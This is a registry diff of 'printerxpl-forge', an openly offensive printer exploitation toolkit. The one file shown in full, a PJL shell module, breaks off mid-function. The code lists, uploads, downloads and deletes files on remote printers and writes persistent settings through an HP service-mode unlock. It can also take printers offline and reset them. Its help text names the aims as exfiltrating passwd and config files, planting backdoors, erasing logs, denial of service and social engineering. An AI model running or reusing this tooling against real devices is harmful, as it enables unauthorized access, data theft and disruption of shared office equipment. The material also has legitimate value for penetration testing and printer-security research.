printerxpl-forge 6.2.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (97) hide show
  1. nse/README.md +204 -0
  2. nse/__init__.py +6 -0
  3. nse/install_nse.py +412 -0
  4. nse/lib/printerxpl.lua +238 -0
  5. nse/scripts/cups-info.nse +74 -0
  6. nse/scripts/cups-queue-info.nse +43 -0
  7. nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
  8. nse/scripts/http-device-mac.nse +107 -0
  9. nse/scripts/http-hp-ilo-info.nse +121 -0
  10. nse/scripts/http-info-xerox-enum.nse +101 -0
  11. nse/scripts/http-vuln-cve2022-1026.nse +158 -0
  12. nse/scripts/lexmark-config.nse +89 -0
  13. nse/scripts/pjl-ready-message.nse +106 -0
  14. nse/scripts/printer-banner.nse +217 -0
  15. nse/scripts/printer-cups-rce.nse +189 -0
  16. nse/scripts/printer-cve-detect.nse +279 -0
  17. nse/scripts/printer-discover.nse +205 -0
  18. nse/scripts/printer-firmware-exposed.nse +219 -0
  19. nse/scripts/printer-hp-pjl.nse +192 -0
  20. nse/scripts/printer-http-ews.nse +293 -0
  21. nse/scripts/printer-ipp-info.nse +235 -0
  22. nse/scripts/printer-lexmark-ipp.nse +203 -0
  23. nse/scripts/printer-passback.nse +204 -0
  24. nse/scripts/printer-pjl-info.nse +146 -0
  25. nse/scripts/printer-printnightmare.nse +211 -0
  26. nse/scripts/printer-snmp-info.nse +176 -0
  27. nse/scripts/printer-vuln-check.nse +256 -0
  28. nse/scripts/snmp-device-mac.nse +93 -0
  29. nse/scripts/snmp-info.nse +146 -0
  30. nse/scripts/snmp-sysdescr.nse +70 -0
  31. printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
  32. printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
  33. printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
  34. printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
  35. printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
  36. printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
  37. src/assets/fonts/gunplay.pfa +1671 -0
  38. src/assets/fonts/kshandwrt.pfa +315 -0
  39. src/assets/fonts/laksoner.pfa +2402 -0
  40. src/assets/fonts/paintcans.pfa +9699 -0
  41. src/assets/fonts/stencilod.pfa +4076 -0
  42. src/assets/fonts/takecover.pfa +26138 -0
  43. src/assets/fonts/topsecret.pfa +6652 -0
  44. src/assets/fonts/whoa.pfa +773 -0
  45. src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
  46. src/assets/mibs/Printer-MIB +4389 -0
  47. src/assets/mibs/README.md +9 -0
  48. src/assets/mibs/SNMPv2-MIB +854 -0
  49. src/assets/overlays/hacker.eps +596 -0
  50. src/assets/overlays/smiley.eps +214 -0
  51. src/assets/overlays/smiley2.eps +240 -0
  52. src/core/attack_orchestrator.py +1025 -0
  53. src/core/capabilities.py +323 -0
  54. src/core/destructive_audit.py +430 -0
  55. src/core/discovery.py +488 -0
  56. src/core/osdetect.py +74 -0
  57. src/core/poly_runner.py +579 -0
  58. src/core/printer.py +1426 -0
  59. src/main.py +2134 -0
  60. src/modules/install_printer.py +318 -0
  61. src/modules/login_bruteforce.py +852 -0
  62. src/modules/pcl.py +506 -0
  63. src/modules/pjl.py +3575 -0
  64. src/modules/print_job.py +1290 -0
  65. src/modules/ps.py +1102 -0
  66. src/payloads/__init__.py +98 -0
  67. src/payloads/assets/overlays/notice.eps +9 -0
  68. src/protocols/__init__.py +19 -0
  69. src/protocols/firmware.py +738 -0
  70. src/protocols/ipp.py +216 -0
  71. src/protocols/ipp_attacks.py +609 -0
  72. src/protocols/lpd.py +141 -0
  73. src/protocols/network_map.py +1004 -0
  74. src/protocols/raw.py +173 -0
  75. src/protocols/smb.py +359 -0
  76. src/protocols/ssrf_pivot.py +427 -0
  77. src/protocols/storage.py +587 -0
  78. src/ui/__init__.py +6 -0
  79. src/ui/interactive.py +742 -0
  80. src/ui/spinner.py +112 -0
  81. src/ui/tables.py +132 -0
  82. src/utils/banner_grabber.py +852 -0
  83. src/utils/codebook.py +456 -0
  84. src/utils/config.py +522 -0
  85. src/utils/cve_loader.py +158 -0
  86. src/utils/default_creds.py +134 -0
  87. src/utils/discovery_online.py +1327 -0
  88. src/utils/exploit_manager.py +805 -0
  89. src/utils/fuzzer.py +220 -0
  90. src/utils/helper.py +732 -0
  91. src/utils/local_printers.py +307 -0
  92. src/utils/ml_engine.py +491 -0
  93. src/utils/operators.py +474 -0
  94. src/utils/ports.py +234 -0
  95. src/utils/vuln_scanner.py +823 -0
  96. src/utils/wordlist_loader.py +412 -0
  97. src/version.py +36 -0
src/modules/pjl.py ADDED
@@ -0,0 +1,3575 @@
1
+ #!/usr/bin/env python3
2
+ # -*- coding: utf-8 -*-
3
+
4
+
5
+ # Author : Andre Henrique (@mrhenrike)
6
+ # GitHub : https://github.com/mrhenrike
7
+ # LinkedIn : https://linkedin.com/in/mrhenrike
8
+ # X/Twitter : https://x.com/mrhenrike
9
+
10
+ import re
11
+ import os
12
+ import random
13
+ import posixpath
14
+ import time
15
+
16
+ from core.printer import printer
17
+ from utils.codebook import codebook
18
+ from utils.helper import log, output, conv, file, item, chunks, const as c
19
+
20
+
21
+ class pjl(printer):
22
+ """
23
+ PJL v2.0 shell for PrinterXPL-Forge - Enhanced and Reorganized
24
+ """
25
+
26
+ def __init__(self, args):
27
+ super().__init__(args)
28
+ self.status = False
29
+ self.prompt = f"{self.target}:/> "
30
+
31
+ # --------------------------------------------------------------------
32
+ # low-level send/receive
33
+
34
+ def cmd(self, str_send, wait=True, crop=True, binary=False):
35
+ """
36
+ Send a PJL command and optionally wait for its reply.
37
+ """
38
+ token = c.DELIMITER + str(random.randrange(2**16))
39
+ status_cmd = "@PJL INFO STATUS" + c.EOL if self.status and wait else ""
40
+ footer = "@PJL ECHO " + token + c.EOL + c.EOL if wait else ""
41
+ payload = c.UEL + str_send + c.EOL + status_cmd + footer + c.UEL
42
+
43
+ # log the command
44
+ log().write(self.logfile, str_send + os.linesep)
45
+ # send
46
+ self.send(payload)
47
+
48
+ if not wait:
49
+ return ""
50
+
51
+ # receive until token with timeout
52
+ try:
53
+ # Set a reasonable timeout for receiving data (30 seconds as requested)
54
+ if hasattr(self.conn, '_sock') and self.conn._sock:
55
+ self.conn._sock.settimeout(30.0) # 30 second timeout
56
+
57
+ raw = self.recv(r"(@PJL ECHO\s+)?" + re.escape(token) + r".*$",
58
+ wait, True, binary)
59
+ except Exception as e:
60
+ output().errmsg(f"Failed to receive response: {str(e)}")
61
+ return ""
62
+ stat = ""
63
+ if self.status:
64
+ stat = item(re.findall(r"@PJL INFO STATUS.*", raw, re.DOTALL))
65
+ raw = re.sub(r"\x0c?@PJL INFO STATUS.*", "", raw, flags=re.DOTALL)
66
+ if crop:
67
+ raw = re.sub(r"^\x04?(\x00+)?@PJL.*" + re.escape(c.EOL), "",
68
+ raw, flags=re.MULTILINE)
69
+
70
+ return self.pjl_err(raw, stat)
71
+
72
+ def pjl_err(self, raw, stat):
73
+ """
74
+ Handle file errors and status messages, then return raw buffer.
75
+ """
76
+ self.fileerror(raw)
77
+ self.showstatus(stat)
78
+ return raw
79
+
80
+ def on_connect(self, mode):
81
+ """
82
+ Disable unsolicited status messages on first connect.
83
+ """
84
+ if mode == "init":
85
+ self.cmd("@PJL USTATUSOFF", False)
86
+
87
+ # --------------------------------------------------------------------
88
+ # status toggles
89
+
90
+ def do_status(self, arg):
91
+ "Toggle PJL status messages"
92
+ self.status = not self.status
93
+ print("Status messages enabled" if self.status else "Status messages disabled")
94
+
95
+ def help_status(self):
96
+ """Show help for status command"""
97
+ print()
98
+ print("status - Toggle PJL status messages")
99
+ print("Usage: status")
100
+ print("Enables or disables detailed status messages from the printer.")
101
+ print("Useful for debugging and monitoring printer responses.")
102
+ print()
103
+
104
+
105
+ def showstatus(self, stat):
106
+ codes = {}
107
+ msgs = {}
108
+ for num, code in re.findall(r"CODE(\d+)?\s*=\s*(\d+)", stat):
109
+ codes[num] = code
110
+ for num, mstr in re.findall(r'DISPLAY(\d+)?\s*=\s*"(.*)"', stat):
111
+ msgs[num] = mstr
112
+
113
+ for num, code in codes.items():
114
+ message = msgs.get(num, "UNKNOWN STATUS")
115
+ # HP quirk
116
+ if code.startswith("32"):
117
+ code = str(int(code) - 2000)
118
+ err = item(codebook().get_errors(code), "Unknown status")
119
+ output().errmsg(f"CODE {code}: {message}", err)
120
+
121
+ # --------------------------------------------------------------------
122
+ # 📁 SISTEMA DE ARQUIVOS (12 comandos)
123
+ # --------------------------------------------------------------------
124
+
125
+ def do_ls(self, arg):
126
+ "List remote directory contents"
127
+ lst = self.dirlist(arg, False, True)
128
+ if lst:
129
+ print(lst)
130
+
131
+ def help_ls(self):
132
+ """Show help for ls command"""
133
+ print()
134
+ print("ls - List remote directory contents")
135
+ print("Usage: ls [directory]")
136
+ print("Lists files and directories on the remote printer.")
137
+ print("If no directory is specified, lists current directory.")
138
+ print()
139
+
140
+ def do_mkdir(self, arg):
141
+ "Create remote directory"
142
+ if not arg:
143
+ output().errmsg("Usage: mkdir <directory>")
144
+ return
145
+ self.cmd("@PJL FSMKDIR NAME=\"" + arg + "\"")
146
+
147
+ def help_mkdir(self):
148
+ """Show help for mkdir command"""
149
+ print()
150
+ print("mkdir - Create remote directory")
151
+ print("Usage: mkdir <directory>")
152
+ print("Creates a new directory on the remote printer.")
153
+ print()
154
+
155
+ def do_find(self, arg):
156
+ "Recursively list all files"
157
+ self.fswalk(arg, "find")
158
+
159
+ def help_find(self):
160
+ """Show help for find command"""
161
+ print()
162
+ print("find - Recursively list all files in the printer's file system")
163
+ print("=" * 60)
164
+ print("DESCRIPTION:")
165
+ print(" Walks through the entire directory tree starting from the specified")
166
+ print(" path and lists all files and directories found.")
167
+ print()
168
+ print("USAGE:")
169
+ print(" find [path]")
170
+ print()
171
+ print("EXAMPLES:")
172
+ print(" find # List all files from root")
173
+ print(" find 0:/ # List all files on volume 0")
174
+ print(" find /webServer # Find files in webServer directory")
175
+ print()
176
+ print("NOTES:")
177
+ print(" - May take time on large filesystems")
178
+ print(" - Shows full path for each file")
179
+ print(" - Useful for discovering hidden files")
180
+ print()
181
+
182
+ def do_upload(self, arg):
183
+ "Upload file to printer: upload <local_file> [remote_path]"
184
+ if not arg:
185
+ output().errmsg("Usage: upload <local_file> [remote_path]")
186
+ return
187
+
188
+ parts = arg.split()
189
+ local_file = parts[0]
190
+ remote_path = parts[1] if len(parts) > 1 else os.path.basename(local_file)
191
+
192
+ if not os.path.exists(local_file):
193
+ output().errmsg(f"Local file not found: {local_file}")
194
+ return
195
+
196
+ try:
197
+ with open(local_file, 'rb') as f:
198
+ data = f.read()
199
+
200
+ # PJL file upload: FSDOWNLOAD is the correct PJL command to
201
+ # *send* (download) data INTO the printer's filesystem.
202
+ # FSUPLOAD is used to READ from printer → host.
203
+ header = f"@PJL FSDOWNLOAD FORMAT:BINARY SIZE={len(data)} NAME=\"{remote_path}\"\r\n"
204
+ self.send(header.encode() + data)
205
+ output().info(f"Uploaded {local_file} to {remote_path}")
206
+ except Exception as e:
207
+ output().errmsg(f"Upload failed: {e}")
208
+
209
+ def help_upload(self):
210
+ """Show help for upload command"""
211
+ print()
212
+ print("upload - Upload a local file to the printer")
213
+ print("=" * 60)
214
+ print("DESCRIPTION:")
215
+ print(" Transfers a file from the local system to the printer's file system")
216
+ print(" using PJL FSDOWNLOAD command. Supports any file type.")
217
+ print()
218
+ print("USAGE:")
219
+ print(" upload <local_file> [remote_path]")
220
+ print()
221
+ print("EXAMPLES:")
222
+ print(" upload config.txt # Upload to root with same name")
223
+ print(" upload /path/file.cfg 0:/file.cfg # Upload to specific location")
224
+ print(" upload backdoor.ps 1:/backdoor.ps # Upload to volume 1")
225
+ print()
226
+ print("NOTES:")
227
+ print(" - Local file must exist and be readable")
228
+ print(" - Remote path is optional (uses basename if omitted)")
229
+ print(" - File size is automatically calculated")
230
+ print(" - Use volume prefix (0:, 1:) for specific volumes")
231
+ print()
232
+
233
+ def do_download(self, arg):
234
+ "Download file from printer: download <remote_file> [local_path]"
235
+ if not arg:
236
+ output().errmsg("Usage: download <remote_file> [local_path]")
237
+ return
238
+
239
+ parts = arg.split()
240
+ remote_file = parts[0]
241
+ local_path = parts[1] if len(parts) > 1 else os.path.basename(remote_file)
242
+
243
+ try:
244
+ # Download file using PJL FSDOWNLOAD
245
+ data = self.cmd(f"@PJL FSDOWNLOAD NAME=\"{remote_file}\"", binary=True)
246
+
247
+ # Ensure data is bytes
248
+ if isinstance(data, str):
249
+ data = data.encode('utf-8')
250
+
251
+ with open(local_path, 'wb') as f:
252
+ f.write(data)
253
+
254
+ output().info(f"Downloaded {remote_file} to {local_path}")
255
+ except Exception as e:
256
+ output().errmsg(f"Download failed: {e}")
257
+
258
+ def help_download(self):
259
+ """Show help for download command"""
260
+ print()
261
+ print("download - Download a file from the printer")
262
+ print("=" * 60)
263
+ print("DESCRIPTION:")
264
+ print(" Retrieves a file from the printer's file system and saves it")
265
+ print(" locally using PJL FSDOWNLOAD command. Supports any file type.")
266
+ print()
267
+ print("USAGE:")
268
+ print(" download <remote_file> [local_path]")
269
+ print()
270
+ print("EXAMPLES:")
271
+ print(" download config.cfg # Download to current directory")
272
+ print(" download 0:/passwd /tmp/passwd # Download with different name")
273
+ print(" download 1:/backup.cfg backup.cfg # Download from volume 1")
274
+ print()
275
+ print("NOTES:")
276
+ print(" - Remote file must exist and be readable")
277
+ print(" - Local path is optional (uses basename if omitted)")
278
+ print(" - File is saved as binary to preserve integrity")
279
+ print(" - Use for exfiltrating configuration files")
280
+ print()
281
+
282
+ def do_pjl_delete(self, arg):
283
+ "Delete remote file using PJL: pjl_delete <file>"
284
+ if not arg:
285
+ output().errmsg("Usage: pjl_delete <file>")
286
+ return
287
+ self.cmd("@PJL FSDELETE NAME=\"" + arg + "\"")
288
+
289
+ def help_pjl_delete(self):
290
+ """Show help for pjl_delete command"""
291
+ print()
292
+ print("pjl_delete - Delete a file from the printer using PJL")
293
+ print("=" * 60)
294
+ print("DESCRIPTION:")
295
+ print(" Removes a file from the printer's file system using the")
296
+ print(" PJL FSDELETE command. Permanent operation - cannot be undone.")
297
+ print()
298
+ print("USAGE:")
299
+ print(" pjl_delete <file>")
300
+ print()
301
+ print("EXAMPLES:")
302
+ print(" pjl_delete old.log # Delete file from current directory")
303
+ print(" pjl_delete 0:/tmp/temp.cfg # Delete specific file")
304
+ print(" pjl_delete /webServer/test # Delete file from webServer")
305
+ print()
306
+ print("NOTES:")
307
+ print(" - File is permanently deleted")
308
+ print(" - Cannot be undone")
309
+ print(" - Use with caution")
310
+ print(" - May be used to remove backdoors or logs")
311
+ print()
312
+
313
+ def do_copy(self, arg):
314
+ "Copy remote file: copy <source> <destination>"
315
+ if not arg:
316
+ output().errmsg("Usage: copy <source> <destination>")
317
+ return
318
+
319
+ parts = arg.split()
320
+ if len(parts) != 2:
321
+ output().errmsg("Usage: copy <source> <destination>")
322
+ return
323
+
324
+ source, dest = parts
325
+ # Download source and upload as destination
326
+ try:
327
+ data = self.cmd(f"@PJL FSDOWNLOAD NAME=\"{source}\"", binary=True)
328
+ self.cmd(f"@PJL FSUPLOAD NAME=\"{dest}\" OFFSET=0 LENGTH={len(data)}")
329
+ self.send(data)
330
+ output().info(f"Copied {source} to {dest}")
331
+ except Exception as e:
332
+ output().errmsg(f"Copy failed: {e}")
333
+
334
+ def help_copy(self):
335
+ """Show help for copy command"""
336
+ print()
337
+ print("copy - Copy a file on the printer")
338
+ print("=" * 60)
339
+ print("DESCRIPTION:")
340
+ print(" Creates a duplicate of a file in the printer's file system")
341
+ print(" by downloading the source and uploading it to the destination.")
342
+ print()
343
+ print("USAGE:")
344
+ print(" copy <source> <destination>")
345
+ print()
346
+ print("EXAMPLES:")
347
+ print(" copy config.cfg config.bak # Backup configuration")
348
+ print(" copy 0:/file.txt 1:/file.txt # Copy between volumes")
349
+ print(" copy passwd passwd.original # Save original passwd file")
350
+ print()
351
+ print("NOTES:")
352
+ print(" - Source file must exist and be readable")
353
+ print(" - Destination will be overwritten if it exists")
354
+ print(" - Uses download + upload internally")
355
+ print(" - Useful for creating backups")
356
+ print()
357
+
358
+ def do_move(self, arg):
359
+ "Move remote file: move <source> <destination>"
360
+ if not arg:
361
+ output().errmsg("Usage: move <source> <destination>")
362
+ return
363
+
364
+ parts = arg.split()
365
+ if len(parts) != 2:
366
+ output().errmsg("Usage: move <source> <destination>")
367
+ return
368
+
369
+ source, dest = parts
370
+ # Copy and then delete source
371
+ try:
372
+ self.do_copy(f"{source} {dest}")
373
+ self.do_delete(source)
374
+ output().info(f"Moved {source} to {dest}")
375
+ except Exception as e:
376
+ output().errmsg(f"Move failed: {e}")
377
+
378
+ def help_move(self):
379
+ """Show help for move command"""
380
+ print()
381
+ print("move - Move/rename a file on the printer")
382
+ print("=" * 60)
383
+ print("DESCRIPTION:")
384
+ print(" Moves a file from one location to another on the printer.")
385
+ print(" Effectively renames the file by copying and deleting the original.")
386
+ print()
387
+ print("USAGE:")
388
+ print(" move <source> <destination>")
389
+ print()
390
+ print("EXAMPLES:")
391
+ print(" move old.cfg new.cfg # Rename file")
392
+ print(" move 0:/file.txt 1:/file.txt # Move between volumes")
393
+ print(" move /tmp/test /backup/test # Move to different directory")
394
+ print()
395
+ print("NOTES:")
396
+ print(" - Source file is deleted after successful copy")
397
+ print(" - Destination will be overwritten if it exists")
398
+ print(" - Use copy if you want to keep the original")
399
+ print(" - Original file is permanently removed")
400
+ print()
401
+
402
+ def do_touch(self, arg):
403
+ "Update remote file timestamp, or create it if missing: touch <file>"
404
+ if not arg:
405
+ output().errmsg("Usage: touch <file>")
406
+ return
407
+
408
+ # Create empty file if it doesn't exist
409
+ try:
410
+ self.cmd(f"@PJL FSUPLOAD NAME=\"{arg}\" OFFSET=0 LENGTH=0")
411
+ output().info(f"Touched {arg}")
412
+ except Exception as e:
413
+ output().errmsg(f"Touch failed: {e}")
414
+
415
+ def help_touch(self):
416
+ """Show help for touch command"""
417
+ print()
418
+ print("touch - Create an empty file or update timestamp")
419
+ print("=" * 60)
420
+ print("DESCRIPTION:")
421
+ print(" Creates a new empty file on the printer or updates the")
422
+ print(" timestamp of an existing file (if supported by the printer).")
423
+ print()
424
+ print("USAGE:")
425
+ print(" touch <file>")
426
+ print()
427
+ print("EXAMPLES:")
428
+ print(" touch newfile.txt # Create empty file")
429
+ print(" touch 0:/marker # Create marker file")
430
+ print(" touch /tmp/test.log # Create empty log")
431
+ print()
432
+ print("NOTES:")
433
+ print(" - Creates a zero-length file")
434
+ print(" - File is created if it doesn't exist")
435
+ print(" - Some printers may update timestamp instead")
436
+ print(" - Useful for creating placeholder files")
437
+ print()
438
+
439
+ def do_chmod(self, arg):
440
+ "Change file permissions: chmod <permissions> <file>"
441
+ if not arg:
442
+ output().errmsg("Usage: chmod <permissions> <file>")
443
+ return
444
+
445
+ parts = arg.split()
446
+ if len(parts) != 2:
447
+ output().errmsg("Usage: chmod <permissions> <file>")
448
+ return
449
+
450
+ perms, file_path = parts
451
+ # PJL doesn't have direct chmod, but we can try to set attributes
452
+ try:
453
+ self.cmd(f"@PJL FSSETATTR NAME=\"{file_path}\" ATTR={perms}")
454
+ output().info(f"Changed permissions of {file_path} to {perms}")
455
+ except Exception as e:
456
+ output().errmsg(f"Chmod failed: {e}")
457
+
458
+ def help_chmod(self):
459
+ """Show help for chmod command"""
460
+ print()
461
+ print("chmod - Change file permissions")
462
+ print("=" * 60)
463
+ print("DESCRIPTION:")
464
+ print(" Attempts to change file permissions on the printer using")
465
+ print(" PJL FSSETATTR command. Support varies by printer model.")
466
+ print()
467
+ print("USAGE:")
468
+ print(" chmod <permissions> <file>")
469
+ print()
470
+ print("EXAMPLES:")
471
+ print(" chmod 644 config.cfg # Set read/write for owner")
472
+ print(" chmod 755 script.sh # Set executable permissions")
473
+ print(" chmod 0 protected.txt # Remove all permissions")
474
+ print()
475
+ print("NOTES:")
476
+ print(" - Not all printers support chmod")
477
+ print(" - Permission format may vary by printer")
478
+ print(" - Use permissions command to test access")
479
+ print(" - Some printers ignore this command")
480
+ print()
481
+
482
+ def do_permissions(self, arg):
483
+ "Test file permissions on remote device"
484
+ if not arg:
485
+ output().errmsg("Usage: permissions <file>")
486
+ return
487
+
488
+ try:
489
+ # Try to access file to test permissions
490
+ result = self.cmd(f"@PJL FSQUERY NAME=\"{arg}\"")
491
+ if result:
492
+ output().info(f"File {arg} is accessible")
493
+ else:
494
+ output().errmsg(f"File {arg} is not accessible")
495
+ except Exception as e:
496
+ output().errmsg(f"Permission test failed: {e}")
497
+
498
+ def help_permissions(self):
499
+ """Show help for permissions command"""
500
+ print()
501
+ print("permissions - Test file permissions")
502
+ print("=" * 60)
503
+ print("DESCRIPTION:")
504
+ print(" Tests whether a file is accessible on the printer by")
505
+ print(" attempting to query it using PJL FSQUERY command.")
506
+ print()
507
+ print("USAGE:")
508
+ print(" permissions <file>")
509
+ print()
510
+ print("EXAMPLES:")
511
+ print(" permissions config.cfg # Test if file is accessible")
512
+ print(" permissions /etc/passwd # Test sensitive file access")
513
+ print(" permissions 0:/protected # Test protected file")
514
+ print()
515
+ print("NOTES:")
516
+ print(" - Reports if file is accessible or not")
517
+ print(" - Useful for permission enumeration")
518
+ print(" - Does not show specific permission bits")
519
+ print(" - Part of security testing toolkit")
520
+ print()
521
+
522
+ def do_rmdir(self, arg):
523
+ "Remove remote directory: rmdir <directory>"
524
+ if not arg:
525
+ output().errmsg("Usage: rmdir <directory>")
526
+ return
527
+ self.cmd("@PJL FSDELETE NAME=\"" + arg + "\"")
528
+
529
+ def help_rmdir(self):
530
+ """Show help for rmdir command"""
531
+ print()
532
+ print("rmdir - Remove a directory")
533
+ print("=" * 60)
534
+ print("DESCRIPTION:")
535
+ print(" Deletes a directory from the printer's file system using")
536
+ print(" PJL FSDELETE command. Directory must be empty.")
537
+ print()
538
+ print("USAGE:")
539
+ print(" rmdir <directory>")
540
+ print()
541
+ print("EXAMPLES:")
542
+ print(" rmdir olddir # Remove empty directory")
543
+ print(" rmdir 0:/tmp # Remove tmp directory")
544
+ print(" rmdir /backup # Remove backup folder")
545
+ print()
546
+ print("NOTES:")
547
+ print(" - Directory must be empty")
548
+ print(" - Use pjl_delete to remove files first")
549
+ print(" - Operation cannot be undone")
550
+ print(" - Some printers may not support this")
551
+ print()
552
+
553
+ def do_mirror(self, arg):
554
+ "Mirror remote filesystem locally"
555
+ print("Mirroring " + c.SEP + self.vpath(arg))
556
+ self.fswalk(arg, "mirror")
557
+
558
+ def help_mirror(self):
559
+ """Show help for mirror command"""
560
+ print()
561
+ print("mirror - Mirror the printer's filesystem locally")
562
+ print("=" * 60)
563
+ print("DESCRIPTION:")
564
+ print(" Recursively downloads the entire directory tree from the printer")
565
+ print(" to create a local copy. Useful for forensics and backup.")
566
+ print()
567
+ print("USAGE:")
568
+ print(" mirror [path]")
569
+ print()
570
+ print("EXAMPLES:")
571
+ print(" mirror # Mirror entire filesystem")
572
+ print(" mirror 0:/ # Mirror volume 0")
573
+ print(" mirror /webServer # Mirror webServer directory only")
574
+ print()
575
+ print("NOTES:")
576
+ print(" - Creates local directory structure")
577
+ print(" - Downloads all accessible files")
578
+ print(" - May take considerable time")
579
+ print(" - Useful for offline analysis and forensics")
580
+ print(" - Preserves directory structure")
581
+ print()
582
+
583
+ # --------------------------------------------------------------------
584
+ # ℹ️ INFORMAÇÕES DO SISTEMA (3 comandos)
585
+ # --------------------------------------------------------------------
586
+
587
+ def do_id(self, *args):
588
+ "Show comprehensive printer identification and system information (PJL-specific)"
589
+ print("PJL Printer Identification & System Information:")
590
+ print("=" * 60)
591
+
592
+ # Get basic ID
593
+ id_info = self.cmd("@PJL INFO ID")
594
+ if id_info:
595
+ print(f"Device ID: {id_info.strip()}")
596
+
597
+ # Get version/firmware info
598
+ version_info = self.cmd("@PJL INFO CONFIG")
599
+ if version_info:
600
+ print("\nFirmware/Version Information:")
601
+ print(version_info)
602
+
603
+ # Get product details
604
+ product_info = self.cmd("@PJL INFO PRODUCT")
605
+ if product_info:
606
+ print("\nProduct Information:")
607
+ print(product_info)
608
+
609
+ # Get page count
610
+ pagecount = self.cmd("@PJL INFO PAGECOUNT")
611
+ if pagecount:
612
+ print(f"\nPage Count: {pagecount.strip()}")
613
+
614
+ def help_id(self):
615
+ """Show help for id command"""
616
+ print()
617
+ print("id - Show comprehensive printer identification and system information")
618
+ print("Usage: id")
619
+ print("Displays device ID, firmware version, product information, and page count.")
620
+ print("This is the main command for getting printer identification details.")
621
+ print()
622
+
623
+ def do_variables(self, arg):
624
+ "Show environment variables"
625
+ resp = self.cmd("@PJL INFO VARIABLES")
626
+ if resp:
627
+ print(resp)
628
+
629
+ def help_variables(self):
630
+ """Show help for variables command"""
631
+ print()
632
+ print("variables - Show environment variables")
633
+ print("Usage: variables")
634
+ print("Displays all environment variables configured on the printer.")
635
+ print()
636
+
637
+ def do_printenv(self, arg):
638
+ "Show specific environment variable"
639
+ if not arg:
640
+ output().errmsg("Usage: printenv <variable>")
641
+ return
642
+
643
+ resp = self.cmd("@PJL INFO VARIABLES")
644
+ if resp:
645
+ # Search for specific variable
646
+ lines = resp.split('\n')
647
+ for line in lines:
648
+ if arg.upper() in line.upper():
649
+ print(line)
650
+
651
+ def help_printenv(self):
652
+ """Show help for printenv command"""
653
+ print()
654
+ print("printenv - Show specific environment variable")
655
+ print("Usage: printenv <variable>")
656
+ print("Displays the value of a specific environment variable.")
657
+ print("Example: printenv PAGECOUNT")
658
+ print()
659
+
660
+ # --------------------------------------------------------------------
661
+ # ⚙️ CONTROLE E CONFIGURAÇÃO (8 comandos)
662
+ # --------------------------------------------------------------------
663
+
664
+ def do_set(self, arg, fb=True):
665
+ "Set environment variable VAR=VALUE (uses HP service mode for persistent write)"
666
+ if not arg:
667
+ output().errmsg("Usage: set <variable>=<value>")
668
+ return
669
+
670
+ if "=" not in arg:
671
+ output().errmsg("Usage: set <variable>=<value>")
672
+ return
673
+
674
+ var, value = arg.split("=", 1)
675
+ # Use HP service mode unlock before DEFAULT + SET for persistent NVRAM write.
676
+ # This mirrors PRET's approach: SERVICEMODE=HPBOISEID opens write access on
677
+ # HP LaserJet 4000-9000 and many compatible models. Falls back gracefully on
678
+ # non-HP printers that ignore the SERVICEMODE commands.
679
+ self.cmd(
680
+ "@PJL SET SERVICEMODE=HPBOISEID" + c.EOL
681
+ + "@PJL DEFAULT " + var.upper() + "=" + value + c.EOL
682
+ + "@PJL SET " + var.upper() + "=" + value + c.EOL
683
+ + "@PJL SET SERVICEMODE=EXIT",
684
+ False,
685
+ )
686
+ if fb:
687
+ self.onecmd("printenv " + var.upper())
688
+
689
+ def help_set(self):
690
+ """Show help for set command"""
691
+ print()
692
+ print("set - Set environment variable")
693
+ print("Usage: set <variable>=<value>")
694
+ print("Sets an environment variable on the printer.")
695
+ print("Example: set TESTVAR=testvalue")
696
+ print()
697
+
698
+ def do_display(self, arg):
699
+ "Set printer's display message: display <message>"
700
+ if not arg:
701
+ try:
702
+ message = input("Message: ")
703
+ except (EOFError, KeyboardInterrupt):
704
+ output().errmsg("No message provided")
705
+ return
706
+ else:
707
+ message = arg
708
+
709
+ self.cmd("@PJL DISPLAY \"" + message + "\"")
710
+
711
+ def help_display(self):
712
+ """Show help for display command"""
713
+ print()
714
+ print("display - Set printer's display message")
715
+ print("=" * 60)
716
+ print("DESCRIPTION:")
717
+ print(" Changes the message shown on the printer's control panel display.")
718
+ print(" Useful for sending messages or testing display functionality.")
719
+ print()
720
+ print("USAGE:")
721
+ print(" display <message>")
722
+ print()
723
+ print("EXAMPLES:")
724
+ print(" display 'System Maintenance' # Show maintenance message")
725
+ print(" display 'Printer hacked' # Demonstration message")
726
+ print(" display 'Out of service' # Service notice")
727
+ print()
728
+ print("NOTES:")
729
+ print(" - Message length limited by printer")
730
+ print(" - Some printers ignore this command")
731
+ print(" - Can be used for social engineering")
732
+ print(" - Display reverts after timeout or job")
733
+ print()
734
+
735
+ def do_offline(self, arg):
736
+ "Take printer offline and display message: offline <message>"
737
+ if not arg:
738
+ try:
739
+ message = input("Message: ")
740
+ except (EOFError, KeyboardInterrupt):
741
+ output().errmsg("No message provided")
742
+ return
743
+ else:
744
+ message = arg
745
+
746
+ self.cmd("@PJL OFFLINE \"" + message + "\"")
747
+
748
+ def help_offline(self):
749
+ """Show help for offline command"""
750
+ print()
751
+ print("offline - Take printer offline with custom message")
752
+ print("=" * 60)
753
+ print("DESCRIPTION:")
754
+ print(" Takes the printer offline and displays a custom message on the")
755
+ print(" control panel. Printer will not accept new jobs until brought back online.")
756
+ print()
757
+ print("USAGE:")
758
+ print(" offline <message>")
759
+ print()
760
+ print("EXAMPLES:")
761
+ print(" offline 'Under maintenance' # Maintenance mode")
762
+ print(" offline 'Reserved for testing' # Reserve printer")
763
+ print(" offline 'System upgrade' # Upgrade notice")
764
+ print()
765
+ print("NOTES:")
766
+ print(" - Printer stops accepting jobs")
767
+ print(" - User must manually bring printer online")
768
+ print(" - Can be used for denial of service")
769
+ print(" - Some printers may ignore this command")
770
+ print()
771
+
772
+ def do_restart(self, arg):
773
+ "Restart printer"
774
+ output().raw("Restarting printer...")
775
+ self.cmd("@PJL RESET", False)
776
+
777
+ def help_restart(self):
778
+ """Show help for restart command"""
779
+ print()
780
+ print("restart - Restart the printer")
781
+ print("=" * 60)
782
+ print("DESCRIPTION:")
783
+ print(" Performs a soft reset of the printer, restarting the print")
784
